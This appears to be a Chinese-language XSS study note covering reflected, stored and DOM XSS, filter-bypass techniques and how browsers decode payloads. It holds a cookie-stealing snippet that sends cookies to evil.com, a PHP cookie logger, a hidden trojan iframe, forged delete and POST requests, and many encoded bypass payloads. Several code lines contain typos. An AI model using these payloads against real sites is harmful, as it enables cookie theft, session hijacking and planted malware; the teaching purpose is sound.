xss
1.概念
跨站脚本攻击,英文全称Cross Site Script.
xss攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本.从而在用户浏览网页时,控制用户浏览器的一种攻击.
常见场景
标签内的xss
属性里面的xss
事件中的xss
css里面的xss
<style type="text/css">
body{background-image:url(${xss});}
</style>
${xss}:javascript:alert(/xss/)
输入的单引号/双引号被转义 标签内进行突破
οninput=alert(1) //
οnchange=alert(1)//
分类
xss根据效果不同,分成以下几类:
反射型xss
用户的输入,最终会由浏览器反馈给用户
如http://www.test.com?xs=
后端页面:
<?php
$input = $_GET['xs'];
echo $input;
?>
数据由服务端处理,传回来,最终又反馈到浏览器
反射型xss利用通常需要黑客诱导用户点击恶意链接等.
储存型xss
储存型xss会把用户输入的数据储存到服务端.任何别的用户若访问了带有储存型xss恶意脚本的资源,都会受到侵害.
比较常见的场景: 黑客写下一篇带有恶意JavaScript代码的博客文章,评论,留言.
所以访问该文章,评论,留言的用户,浏览器都会执行这段恶意代码
Dom型xss
Dom型xss效果与反射型xss类似.成因比较特别.不经过服务端处理,而是由前端的js脚本将用户输入插入到页面
比如:
<script>
function test()(
var str = document.getElementById("text").value;
document.getElementById("x").innerHTML = str;
)
</script>
<html>
<input type="text" id="text" value=""/>
<div id="x">
a
</div>
</html>
xss攻击
利用方式
通过xss加载恶意代码
http://www.test.com?xss=
xss窃取cookie
var img = document.createElement("img");
imr.src = "http://www.evil.com?"+escape(document.cookie);
<!--escape对字符进行编码-->
document.body.appendChild(img);
这段代码在请求资源时,会携带编码后的cookie进行请求,审查evil.com的日志即可查看到cookie
也可以在服务器接收
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?
可以利用cookie进行访问网站
会话劫持SESSION
xss让管理员添加用户等(构造POST请求,AJAX等)
获取webshell:利用管理员权限写一句话木马等
xss构造GET请求
比如搜狐网站删除某文章的链接是:
http://blog.sohu.com/manage/entry.do?m=delete&d=156713012
var img = document.createElement("img");
imr.src = " http://blog.sohu.com/manage/entry.do?m=delete&d=156713012";
document.body.appendChild(img);
即成功构造了GET请求
xss构造POST请求
构造表单的方式
var f = document.createElement("form");
f.action = "";
f.method = "post";
document.body.appendChild(f);
var i1 = document.createElement("input");
i1.name = "ck";
i1.value = "JiUY";
f. appendchild(i1) :
var i2. document.createElement ("input");
i2.name = "mb_text";
i2.value = "testtesttest";
f. appendChild(i2);
f.submit();
直接写HTML代码
var dd = document.creatElement("div");
document.body.appendChild(dd);
dd.innerHTML = 'payloadForm(id=xssform)'
doocument.getElementById("xssform").submit();
xss钓鱼攻击
网页挂马
<iframe src=http://www.evil.com/trojan.html width=0 height=0></iframe>
DOS和DDOS
<script>for (;;) alert("XSS"); </script>
<meta http-equiv="refresh" content="0">
识别用户浏览器,操作系统,安装软件
xss攻防
xss Bypass
大小写绕过zz
双写绕过
html实体编码绕过(在href里)link
过滤了javascript,用html实体编码和url双重编码绕过(先html编码再url)
仅过滤 ’ 或 " : ‘闭合" , "闭合’
输入的单引号/双引号被转义 标签内进行突破
οninput=alert(1) //
οnchange=alert(1)//
<input name="q" value=""> 输入value; 过滤on 和script
伪协议绕过:">click
支持伪协议的属性 href,lowsrc,bgsound,background,action,dynsr
空格实体编码–> %0a %0D 等替代空格绕过
alert(数字)不需要引号
()过滤 用``替代
document.write()绕过 (过滤 () = )
document.write(payload) payload进行Unicode编码可以绕过某些过滤
上述情况下再把 . 过滤
setTimeout()函数 setTimeout(jscode) 会执行里面的js代码
或者top()函数top[“document”][“write”]
对网站过滤: 公网ip->十进制绕过 127.0.0.1-> 2130706433
利用空格、回车和Tab键绕过限制
如: <img src="javas cript:alert(/xss/)" width=100>
引擎没有把换行符解释为语句的终止符,因为到换行处并不是一个完整的语句,JavaScript 会继续处理发现的内容,直到遇到一个分号或发现语句完整为止。
对标签属性值转码(标签内)
十进制/16进制
HTML中属性值本身支持ASCII码形式。
根据HTML的属性值支持ASCII码的特性,把XSS代码:
<img src="javascript:alert('XSS');">
替换成:
<img src="javascript:alert(/XSS/);" >
t–>ascii码 是 116–> t /  都是一样的
:–>ascii码 是58 --> :
还可以把、等字符插入到JavaScript或Vbscript的头部,另外,Tab符的ASCII码	、换行符的
、回车符的
可以被插入到代码中任意地方。
全角字符
IMG标记和 src属性之间没有空格
<img/src="mars.png"alt="mars">
<img/src="javascript:alert('XSS');">
此段代码在 IE 6中能成功执行
//
样式表中的//会被浏览器忽略,因此可以运用它来注释字符,通过插入混淆字符绕过过滤
<XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<div style="wid/****/th: expre/*XSS*/ssion(alert('XSS'));">
<scriScriptpt>alert('XSS')</script>
<img src="java/*/*javascript*/script/*javascript*/*/script:alert();" >
<img src="java/*script:alert();"><img src="javaa*/script:alert();">
<img src="java/*exp/**/script:alert();*/ression(alert(1))">
<img style="width: exp/*ression(alert());" src="java/*exp/**/script:alert();*/ression
\ 和 \0
样式标签中的\和结束符\0也是被浏览器忽略的
@\0im\port’\0ja\vasc\ript:alert(“xss”)’;
@\i\0m\00p\000o\0000\00000r\000000t"url";
eval()函数
该函数可计算字符串,并执行其中的JavaScript代码
配合16进制
我们可以使用\连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本;
如对alert(‘XSS’)进行十六进制转码后得到:\61\6c\65\72\74\28\27\58\53\53\27\29
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>
配合10进制:
eval()也可以执行 10 进制形式的脚本,但需要配合 String.fromCharCode()函数使用。
string.formcharcode()用于将字符转为ASCII值
例如一个正常形式的XSS示例为:
结合使用eval()和String.fromCharCode()函数后变成:
样式表也支持分析和解释\连接的十六进制字符串形式,浏览器能正常解释 ``` ``` style属性中的javascript、expression等字符一般会被程序过滤,但经过十六进制编码后则可以逃避过滤 ```从 XSS Payload 学习浏览器解码
1.Basics
(1)<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
因为里面没有HTML编码内容,不考虑,其中href内部是URL编码,于是直接丢给URL模块处理,虽然可以解析出来,但是协议无法识别被编码的javascript:,解码失败,不会被执行
URL规定协议,用户名,密码都必须是ASCII,编码就无效,所以无法弹窗
(2) <a href="javascript:%61%6c%65%72%74%28%32%29">
先HTML解码,得到
<a href="javascript:%61%6c%65%72%74%28%32%29">
href中为URL,URL模块可识别为javascript协议,进行URL解码,得到
<a href="javascript:alert(2)">
由于是javascript协议,解码完给JS模块处理,于是被执行
(3)<a href="javascript%3aalert(3)"></a>
道理和第一个一样,URL编码“:” javascript不会执行。
(4)<div><img src=x οnerrοr=alert(4)></div>
这里包含了HTML编码内容,反过来以开发者的角度思考,HTML编码就是为了显示这些特殊字符,而不干扰正常的DOM解析,所以这里面的内容不会变成一个img元素,也不会被执行
从HTML解析机制看,在读取
(5)
<textarea><script>alert(5)</script></textarea>
(6) <textarea><script>alert(6)</script></textarea>
和第五个一样,和
onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,也不能编码符号,'显然不行,JS执行失败,所以不会弹窗
(9)<script>alert(9)</script>
script属于原始文本元素(Raw text elements),只可以容纳文本,注意没有字符引用,于是直接由JS处理,这里全部到作文本,,JS也认不出来,执行失败,所以不能弹窗
原始文本元素(Raw text elements)有
(12)<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
这里看似将没毛病,但是这里\u0031\u0032在解码的时候会被解码为字符串12,注意是字符串,不是数字,文字显然是需要引号的,JS执行失败
(13)<script>alert('13\u0027)</script> 编码的 ‘ 是个符号,所以无法弹窗
(14)
\u000a在JavaScript里是换行,就是\n,虽然换行了,但是引号都在,没有被编码,能直接执行,所以可以弹窗
(15) <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
先HTML解码,得到
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
在href中由URL模块处理,解码得到
javascript:\u0061\u006c\u0065\u0072\u0074(15)
识别JS协议,然后由JS模块处理,解码得到
javascript:alert(15)
显示可以弹窗
总结: